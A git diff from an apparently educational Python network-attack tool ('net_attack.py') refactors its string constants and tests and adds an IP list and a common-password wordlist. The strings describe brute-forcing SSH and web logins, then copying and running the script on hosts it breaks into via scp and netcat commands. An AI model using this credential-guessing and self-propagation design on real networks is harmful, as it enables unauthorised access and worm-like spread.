confusion. -# A different password prompt following the previous one. -RSA_PROMPT_AGAIN = "Please type in this password again: " +# String for the help text. +PORTS_TO_SCAN = "Ports to scan on the target host" -# The help prompt for the end user. -# TODO: Update this to use the argument string values above, avoid changes in -# multiple places when needed. -PLS_HELP = "Parameters:\n\t-t -> Filename for a file containing a list of " \ - "target IP addresses\n\t-p -> Ports to scan on the target host" \ - "\n\t-u -> A username\n\t-f -> Filename for a file containing " \ - "a list of passwords\n\t-L -> Scans the lan across all " \ - "interfaces and creates/adds to the list of target IP addresses" \ - "\n\t-P -> Propagates the script onto available devices and " \ - "executes the script using the given command\nExample usage:\n" \ - "\t./net_attack.py -t my_ip_list.txt -p 22,23,25,80 -u admin " \ - "-f my_password_list.txt\n\n\t./net_attack.py -t ip_list.txt " \ - "-p 22 -u root -f passwords.txt" +# A string just for tests. +RANDOM_STRING = "tests" -# Newline character, mostly used to mimic an enter key press. -RETURN_OR_NEWLINE = "\n" +# Root user string. +ROOT = "root" # RSA specific password prompt. RSA_AND_PROMPT = "Please type in this password below and say yes to any " \ - "RSA key prompts: " + "RSA key prompts: " + +# A different password prompt following the previous one. +RSA_PROMPT_AGAIN = "Please type in this password again: " + +# The error when an SSH command has been tampered with. +SANITATION_FAILED = "SSH command did not pass sanitation checks" + +# SCP Command String. +SCP_COMMAND = "scp -P" # Specifies that the script has been propagated over a port (use debug for # specific port number). @@ -151,6 +260,9 @@ # Specifies that the script hasn't been propagated over a port. SCRIPT_NOT_PROPAGATED = "Script couldn't be propagated over this port" +# Just a space, yep, really. +SPACE = " " + # Just an SSH strings, memory saving measures again. SSH = "SSH" @@ -166,33 +278,37 @@ # The syn flag for packet crafting in Scapy SYN_FLAG = "S" -# Telnet string for service definitions and actions. -TELNET = "telnet" - -# The default port for the telnet service. -TELNET_PORT = "23" +# Test IP addresses. +TEST_IP = "192.168.1.1" -# A stringing just for tests. -TEST = "tests" +# The string used for the touch command +TOUCH_COMMAND = "touch" -# Letting the user know an IP address and port pair is being tested. Again, -# use the debug tools in your IDE of choice to see the specific values. -TESTING_IP_PORT_PAIR = "Now testing an IP address and port pair..." +# Letting the user know a file couldn't be transferred over SSH default port. +TRANSFER_FAILURE_SSH = "File couldn't be transferred over port 22 / SSH" -# Letting the user know a file couldn't be transferred over telnet or SSH -# default ports. -TRANSFER_FAILURE_SSH_TELNET = "File couldn't be transferred over port 22 or 23" - -# Letting the user know a file could be transferred over telnet or SSH -# default ports. -TRANSFER_SUCCESS_SSH_TELNET = "File transferred over port 22 or 23" +# Letting the user know a file could be transferred over port 22 / SSH default +# ports. +TRANSFER_SUCCESS_SSH = "File transferred over port 22 / SSH" # Unsuccessful statement to be used with services and actions. UNSUCCESSFUL = "Unsuccessful" +USERNAME_IN_PWS = "using the specified username with a password in the " \ + "passwords file." + # The username prompt that comes with web login POST requests. USERNAME_PROMPT_WEB = "username:" +# Letting the user know something was found. +WAS_FOUND = "was found." + +# A string stating that something was not reachable +WAS_NOT_REACHABLE = "was not reachable" + +# A string stating that something was reachable +WAS_REACHABLE = "was reachable" + # Just a web string to define services and actions. WEB = "web" @@ -211,6 +327,9 @@ # Welcome to string, used for a lot of the prompts. WELCOME_TO = "Welcome to" +# Letting the user know about a working username and password. +WORKING_USERNAME_PASS = "A working username and password for" + def adding_address_to_interface(specific_address, interface): """ @@ -223,8 +342,34 @@ def adding_address_to_interface(specific_address, interface): :return "Adding " + str(specific_address) + " from interface " + str(interface) + "'s subnet.": The string in question """ - return "Adding " + str(specific_address) + " from interface " \ - + str(interface) + "'s subnet." + return ADDING + SPACE + str(specific_address) + SPACE + \ + FROM_INTERFACE + SPACE + str(interface) + INTERFACE_SUBNET + + +def arguments_sets(selection): + """ + This function contains the all sets of arguments used for testing + purposes + :param selection: The argument being called from the function + :return : The argument selected itself. + """ + arguments = { + # This runs the script against all services and four ports + 0: [ARGUMENT_IP_ADDRESS_FILENAME, IP_LIST, ARGUMENT_PORTS, ALL_PORTS, + ARGUMENT_USERNAME, ADMIN, ARGUMENT_PWS_FILENAME, PWDS_LIST], + # This just runs the scripts against one port / service + 1: [ARGUMENT_IP_ADDRESS_FILENAME, IP_LIST, ARGUMENT_PORTS, SSH_PORT, + ARGUMENT_USERNAME, ROOT, ARGUMENT_PWS_FILENAME, PWDS_LIST], + # This propagates a specific file over SSH + 2: [ARGUMENT_IP_ADDRESS_FILENAME, IP_LIST, ARGUMENT_PORTS, SSH_PORT, + ARGUMENT_USERNAME, ROOT, ARGUMENT_PWS_FILENAME, PWDS_LIST, + ARGUMENT_SPECIFIC_PROPAGATION_FILE, FILE], + # This is running the automated propagation feature over SSH. + 3: [ARGUMENT_SCAN_LOCAL_NETWORKS, ARGUMENT_PORTS, SSH_PORT, + ARGUMENT_USERNAME, ROOT, ARGUMENT_PWS_FILENAME, PWDS_LIST, + ARGUMENT_PROPAGATE] + } + return arguments.get(selection, None) def cat_file(filename): @@ -233,7 +378,7 @@ def cat_file(filename): :param filename: The filename of the file we want to touch :return "cat " + filename: The completed cat command """ - return "cat " + filename + return CAT + SPACE + filename def checking_ip_reachable(ip): @@ -244,7 +389,7 @@ def checking_ip_reachable(ip): :return "Checking if the following ip address is reachable: " + str(ip): The string in question """ - return "Checking if the following ip address is reachable: " + str(ip) + return IS_IP_REACHABLE + SPACE + str(ip) def connection_status(service, ip, port, status): @@ -252,11 +397,8 @@ def connection_status(service, ip, port, status): This function creates the connection status string dependent on the context given by the arguments passed into it. """ - string = str(status) + " " + str(service) + " login to " + str(ip) + ":" \ - + str(port) \ - + " using the specified username with a password in the " \ - "passwords file." - return string + return str(status) + SPACE + str(service) + SPACE + LOGIN_TO + SPACE + \ + str(ip) + COLON + str(port) + SPACE + USERNAME_IN_PWS def fetching_ips_for_interface(interface): @@ -267,7 +409,7 @@ def fetching_ips_for_interface(interface): :return "Fetching IPs for interface " + str(interface) + "...": The string in question """ - return "Fetching IPs for interface " + str(interface) + "..." + return FETCHING_INTERFACE_IPS + SPACE + str(interface) + ELLIPSES def file_present_on_host(ip): @@ -277,7 +419,7 @@ def file_present_on_host(ip): :return "A file is already present on this host: " + str(ip): The string in question """ - return "A file is already present on this host: " + str(ip) + return FILE_PRESENT_ON_HOST + SPACE + str(ip) def scp_command_string(port, username, target_ip, filename): @@ -287,21 +429,19 @@ def scp_command_string(port, username, target_ip, filename): :param username: The username for the SSH login :param target_ip: The IP address of the machine we are copying too :param filename: The name of the file to be copied across by SSH - :return "scp -P " + str(port) + " " + filename + " " + username + "@" \ - + target_ip + ":~/": The SSH copy command + :return: The SSH copy command """ - return "scp -P " + str(port) + " " + filename + " " + username + "@" \ - + target_ip + ":~/" + return SCP_COMMAND + SPACE + str(port) + SPACE + filename + SPACE + \ + username + AT_SYMBOL + target_ip + HOME_DIR def touch_file(filename): """ This function creates a command for touching a specific file :param filename: The filename of the file we want to touch - :return command: The completed touch command + :return: The completed touch command """ - command = "touch " + filename - return command + return TOUCH_COMMAND + SPACE + filename def ip_list_not_read(filename): @@ -310,10 +450,9 @@ def ip_list_not_read(filename): a particular filename :param filename: The filename of the file that can't have an ip list derived from it - :return "IP list cannot be read from filename: " + filename: The string in - question + :return: The string in question """ - return "IP list cannot be read from filename: " + filename + return CAN_NOT_READ_IP_LIST + SPACE + filename def ip_reachability(ip, reachable): @@ -327,47 +466,71 @@ def ip_reachability(ip, reachable): reachable """ if reachable: - return str(ip) + " was reachable." - return str(ip) + " was not reachable." + return str(ip) + SPACE + WAS_REACHABLE + FULL_STOP + return str(ip) + SPACE + WAS_NOT_REACHABLE + FULL_STOP def netcat_listener(port, filename): """ - This function will create a netcat listener on the device we have a telnet + This function will create a netcat listener on the device we have a netcat link to - :param port: The port on which the telnet listener will operate + :param port: The port on which the netcat listener will operate :param filename: The filename of the file we're moving using the listener parameter - :return "nc -l -p " + str(port) + " > " + filename: The string in question + :return: The string in question """ - return "nc -l -p " + str(port) + " > " + filename + return NETCAT_LISTENER_PORT_COMMAND + SPACE + str(port) + SPACE + \ + GREATER_THAN + SPACE + filename def netcat_writer(ip, port, filename): """ This function will create a netcat writer to write a file to a device we - have a telnet link to - :param ip: Machine with the telnet listener we are writing to - :param port: The port on which the telnet writer will operate + have a netcat link to + :param ip: Machine with the netcat listener we are writing to + :param port: The port on which the netcat writer will operate :param filename: The filename of the file we're moving using the writer parameter - :return "nc -w 3 " + str(ip) + " " + str(port) + " < " + filename: The - string in question + :return: The string in question """ - return "nc -w 3 " + str(ip) + " " + str(port) + " < " + filename + return NETCAT_WRITER_COMMAND + SPACE + str(ip) + SPACE + str(port) + \ + SPACE + LESS_THAN + SPACE + filename -def run_script_command(filename, username): +def help_output(): + """ + This is the help output for when the user passes in the help parameter + :return: The output itself. + """ + return PARAMETERS + NEWLINE_TAB + ARGUMENT_IP_ADDRESS_FILENAME + SPACE + \ + ARROW + SPACE + FILENAME_LIST_IP_ADDRESSES + NEWLINE_TAB + \ + ARGUMENT_PORTS + SPACE + ARROW + SPACE + PORTS_TO_SCAN + \ + NEWLINE_TAB + ARGUMENT_USERNAME + SPACE + ARROW + SPACE + \ + A_USERNAME + NEWLINE_TAB + ARGUMENT_PWS_FILENAME + SPACE + ARROW + \ + SPACE + FILENAME_PWS_FILE + NEWLINE_TAB + \ + ARGUMENT_SCAN_LOCAL_NETWORKS + SPACE + ARROW + SPACE + \ + LOCAL_SCAN_STRING_HELP + NEWLINE_TAB + ARGUMENT_PROPAGATE + SPACE + \ + ARROW + SPACE + HELP_STRING_PROPAGATION + NEWLINE + EXAMPLE_USAGE + \ + NEWLINE_TAB + MAIN_SCRIPT + SPACE + ARGUMENT_IP_ADDRESS_FILENAME + \ + SPACE + IP_LIST + SPACE + ARGUMENT_PORTS + SPACE + ALL_PORTS + \ + SPACE + ARGUMENT_USERNAME + SPACE + ADMIN + SPACE + \ + ARGUMENT_PWS_FILENAME + SPACE + PWDS_LIST + NEWLINE_NEWLINE_TAB + \ + MAIN_SCRIPT + ARGUMENT_IP_ADDRESS_FILENAME + SPACE + IP_LIST + \ + SPACE + ARGUMENT_PORTS + SPACE + SSH_PORT + SPACE + \ + ARGUMENT_USERNAME + SPACE + ROOT + SPACE + ARGUMENT_PWS_FILENAME + \ + SPACE + PWDS_LIST + + +def run_script_command(): """ This function will run the propagation script on another target machine over any service - :param filename: The file that holds the propagation script - :param username: The username to run against the propagation script as a - parameter - :return "net_attack.py -L -p 22,23 -u " + username + " -f passwords.txt - -P": The command itself + :return: The command itself """ - return filename + " -L -p 22,23 -u " + username + " -f passwords.txt -P" + return MAIN_SCRIPT + SPACE + ARGUMENT_SCAN_LOCAL_NETWORKS + SPACE + \ + ARGUMENT_PORTS + SPACE + SSH_PORT + SPACE + ARGUMENT_USERNAME + \ + SPACE + ROOT + SPACE + ARGUMENT_PWS_FILENAME + PWDS_LIST + SPACE + \ + ARGUMENT_PROPAGATE def web_login_url(ip, port): @@ -375,9 +538,9 @@ def web_login_url(ip, port): This function will build the web login url string :param ip: The IP of the machine running the web service :param port: The port the web service is running on - :return "https://" + ip + ":" + port + "/login.php": The string itself + :return: The string itself """ - return "https://" + ip + ":" + port + "/login.php" + return HTTPS_STRING + ip + COLON + port + LOGIN_PHP def working_username_password(service): @@ -386,8 +549,6 @@ def working_username_password(service): a specific service :param service: Service for which there is a working username and password combination - :return "A working username and password for " + str(service) + - " was found.": The string itself + :return: The string itself """ - return "A working username and password for " + str(service) +\ - " was found." + return WORKING_USERNAME_PASS + SPACE + str(service) + SPACE + WAS_FOUND diff --git a/src/test_files/file.txt b/src/test_files/file.txt new file mode 100644 index 0000000..59a9bdd --- /dev/null +++ b/src/test_files/file.txt @@ -0,0 +1,6 @@ +Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor +incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis +nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. +Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore +eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt +in culpa qui officia deserunt mollit anim id est laborum. \ No newline at end of file diff --git a/src/test_files/ip_list.txt b/src/test_files/ip_list.txt new file mode 100644 index 0000000..df93ec6 --- /dev/null +++ b/src/test_files/ip_list.txt @@ -0,0 +1,14 @@ +10.0.4.3 +10.0.0.2 +10.0.3.2 +192.168.3.2 +172.18.99.55 +192.168.2.2 +10.0.0.3 +10.0.0.4 +172.16.77.77 +172.1.1.1 +192.244.244.6 +10.0.0.5 +10.0.0.77 +10.0.0.6 \ No newline at end of file diff --git a/src/test_files/passwords_list.txt b/src/test_files/passwords_list.txt new file mode 100644 index 0000000..3c5fc90 --- /dev/null +++ b/src/test_files/passwords_list.txt @@ -0,0 +1,32 @@ +123456 +ytrewq +123456789 +password +antisec +princess +1234567 +rockyou +12345678 +abc123 +nicole +daniel +ubuntu +monkey +lovely +dualcore +jessica +654321 +michael +ashley +qwerty +111111 +thispasswordwillwork +000000 +tigger +sunshine +chocolate +password1 +anotherpassword +soccer +anthony +phreak \ No newline at end of file diff --git a/src/test_net_propagation.py b/src/test_net_propagation.py index 18951bb..d8cae93 100644 --- a/src/test_net_propagation.py +++ b/src/test_net_propagation.py @@ -1,38 +1,24 @@ #!/usr/bin/python3 -# TODO: Finish this test by checking assert for console output in the bad path -# and start the good path. (Andrew) -# TODO: Implement proper logging for tests. Not much point if we don't know -# what's going on. :) In fact, implement it wherever it can be... (Andrew) +# Importing net_propagation for testing. import net_propagation +# Importing strings for common string resources. import strings -""" - - Importing net_propagation for testing. - - Importing strings for common string resources. -""" - -""" -===PLEASE READ=== -Test functions are organised alphabetically. The tests here pertain to -net_propagation.py. Every test function has a block comment explaining what it -does. -""" - def test_additional_actions(): """ - This function tests the additional_actions method in the net_propagation - script. The goal is to check every service for both good paths and bad - paths. + This function tests the additional_actions function in the net_propagation + script. Currently, the function only calls two other functions, so this + test uses the bad path in both to run through once. Good paths are tested + in the two functions own tests. """ arguments = [strings.ARGUMENT_IP_ADDRESS_FILENAME, strings.ARGUMENT_SPECIFIC_PROPAGATION_FILE] - ip = strings.BLANK_IP - username = strings.TEST - transfer_file_filename = strings.TEST - ports = [strings.SSH_PORT, strings.TELNET_PORT, - strings.WEB_PORT_EIGHTY, + ip = strings.TEST_IP + username = strings.RANDOM_STRING + transfer_file_filename = strings.RANDOM_STRING + ports = [strings.SSH_PORT, strings.WEB_PORT_EIGHTY, strings.WEB_PORT_EIGHTY_EIGHTY, strings.WEB_PORT_EIGHTY_EIGHT_EIGHTY_EIGHT] for port in ports: @@ -40,6 +26,63 @@ def test_additional_actions(): transfer_file_filename) +def test_append_lines_from_file_to_list(): + """ + This function tests the append_lines_from_file_to_list function in the + net_propagation script. It feeds in a test file, and we check the result it + returns for validity. Each line is checked independently without a for loop + for readability in test results i.e. we'll be able to correlate a specific + line with an error. + """ + with open(str(strings.FILE)) as file: + lines_list = net_propagation.append_lines_from_file_to_list(file) + assert lines_list[0] == strings.LINES[0] + assert lines_list[1] == strings.LINES[1] + assert lines_list[2] == strings.LINES[2] + assert lines_list[3] == strings.LINES[3] + assert lines_list[4] == strings.LINES[4] + assert lines_list[5] == strings.LINES[5] + + +def test_assigning_values(): + """ + This function tests the assigning_values function in the net_propagation + script. It uses example arguments to do this stored in strings.py, but + before it does that the bad path is checked by passing in a single argument + with no value to get a runtime error. + """ + assert net_propagation.assigning_values(strings.arguments_sets(0)) is not \ + None + assert net_propagation.assigning_values(strings.arguments_sets(1)) is not \ + None + assert net_propagation.assigning_values(strings.arguments_sets(2)) is not \ + None + assert net_propagation.assigning_values(strings.arguments_sets(3)) is None + + +def test_check_over_ssh(): + """ + This function tests the check_check_over_ssh function, it will always fail + for now until I figure out how to mock an SSH connection. + """ + assert net_propagation.check_over_ssh(strings.TEST_IP, strings.SSH_PORT, + strings.ADMIN, strings.ADMIN) is \ + True + + +def test_exit_and_show_instructions(capfd): + """ + This function tests the exit_and_show_instructions function. + Should just run straight through no problem hence why all this function + does is run that function and check what shows up in the console, errors or + exceptions will fail this test for us + :param capfd: Parameter needed to capture log output. + """ + net_propagation.exit_and_show_instructions() + out, err = capfd.readouterr() + assert out == strings.help_output() + "\n" + strings.EXITING + "\n" + + def test_file_error_handler(capfd): """ This function tests the file_error_handler function. Should just run @@ -48,8 +91,7 @@ def test_file_error_handler(capfd): fail this test for us :param capfd: Parameter needed to capture log output. """ - # TODO: Is this test really needed? Investigate removal. net_propagation.file_error_handler() out, err = capfd.readouterr() assert out == strings.FILENAME_PROCESSING_ERROR + "\n" \ - + strings.PLS_HELP + "\n" + strings.EXITING + "\n" + + strings.help_output() + "\n" + strings.EXITING + "\n"